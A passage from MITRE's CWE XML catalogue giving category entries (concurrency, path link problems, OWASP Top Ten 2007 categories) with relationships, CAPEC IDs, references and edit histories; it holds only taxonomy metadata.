					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">Inadvertent</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Category>
                    <Category ID="519" Name=".NET Environment Issues" Status="Draft">
			      <Description>
				        <Description_Summary>This category lists weaknesses related to environmental
					problems in .NET framework applications.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>3</Relationship_Target_ID>
					          <!--Technology-specific Environment Issues-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="557" Name="Concurrency Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to concurrent use of
					shared resources.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>CanAlsoBe</Relationship_Nature>
					          <Relationship_Target_ID>362</Relationship_Target_ID>
					          <!--Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>PeerOf</Relationship_Nature>
					          <Relationship_Target_ID>371</Relationship_Target_ID>
					          <!--State Issues-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="559" Name="Often Misused: Arguments and Parameters" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper use of
					arguments or parameters within function calls.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>227</Relationship_Target_ID>
					          <!--Improper Fulfillment of API Contract ('API Abuse')-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This category is closely related to CWE-628, Incorrectly Specified
						Arguments, and might be the same. However, CWE-628 is a base weakness, not a
						category.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>133</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-09-27</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="569" Name="Expression Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to incorrectly written
					expressions within code.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="60" Name="UNIX Path Link Problems" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					links within Unix-based operating systems.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>UNIX Path Link problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="63" Name="Windows Path Link Problems" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					links within Windows-based operating systems.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>59</Relationship_Target_ID>
					          <!--Improper Link Resolution Before File Access ('Link Following')-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
				        <Operating_Systems>
					          <Operating_System_Class Operating_System_Class_Description="Windows"/>
				        </Operating_Systems>
			      </Applicable_Platforms>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms,
						Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="632" Name="Weaknesses that Affect Files or Directories" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category affect file or directory
					resources.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="633" Name="Weaknesses that Affect Memory" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category affect memory
					resources.</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="634" Name="Weaknesses that Affect System Processes" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category affect system process resources
					during process invocation or inter-process communication
					(IPC).</Description_Summary>
			      </Description>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="68" Name="Windows Virtual File Problems" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					virtual files within Windows-based operating systems.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>66</Relationship_Target_ID>
					          <!--Improper Handling of File Names that Identify Virtual Resources-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Windows Virtual File problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="70" Name="Mac Virtual File Problems" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					virtual files within Mac-based operating systems.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>66</Relationship_Target_ID>
					          <!--Improper Handling of File Names that Identify Virtual Resources-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Mac Virtual File problems</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="712" Name="OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A1 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Cross Site Scripting</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A1</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>85</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="713" Name="OWASP Top Ten 2007 Category A2 - Injection Flaws" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A2 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>101</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>14</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>15</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>18</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>19</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>199</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>23</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>244</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>32</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>34</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>41</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>44</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>6</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>63</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>66</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>7</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>75</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>81</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>83</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>84</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>86</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>88</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>91</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>93</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="714" Name="OWASP Top Ten 2007 Category A3 - Malicious File Execution" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A3 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>159</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>193</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>35</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="715" Name="OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A4 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Insecure Direct Object Reference</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A4</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>23</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>76</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="716" Name="OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A5 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Cross Site Request Forgery</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A5</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>62</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="717" Name="OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A6 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Information Leakage and Improper Error
						Handling</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A6</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>54</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="718" Name="OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A7 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Broken Authentication and Session
						Management</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A7</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>50</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>90</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="719" Name="OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A8 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
				        <Reference>
					          <Reference_Author>OWASP</Reference_Author>
					          <Reference_Title>Top 10 2007-Insecure Cryptographic Storage</Reference_Title>
					          <Reference_PubDate>2007</Reference_PubDate>
					          <Reference_Link>http://www.owasp.org/index.php/Top_10_2007-A8</Reference_Link>
				        </Reference>
			      </References>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>20</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>55</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>59</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>65</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>97</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Internal_CWE_Team">
					          <Submitter_Organization>MITRE</Submitter_Organization>
					          <Submission_Date>2008-09-09</Submission_Date>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="720" Name="OWASP Top Ten 2007 Category A9 - Insecure Communications" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the A9 category in
					the OWASP Top Ten 2007.</Description_Summary>
			      </Description>
			      <References>
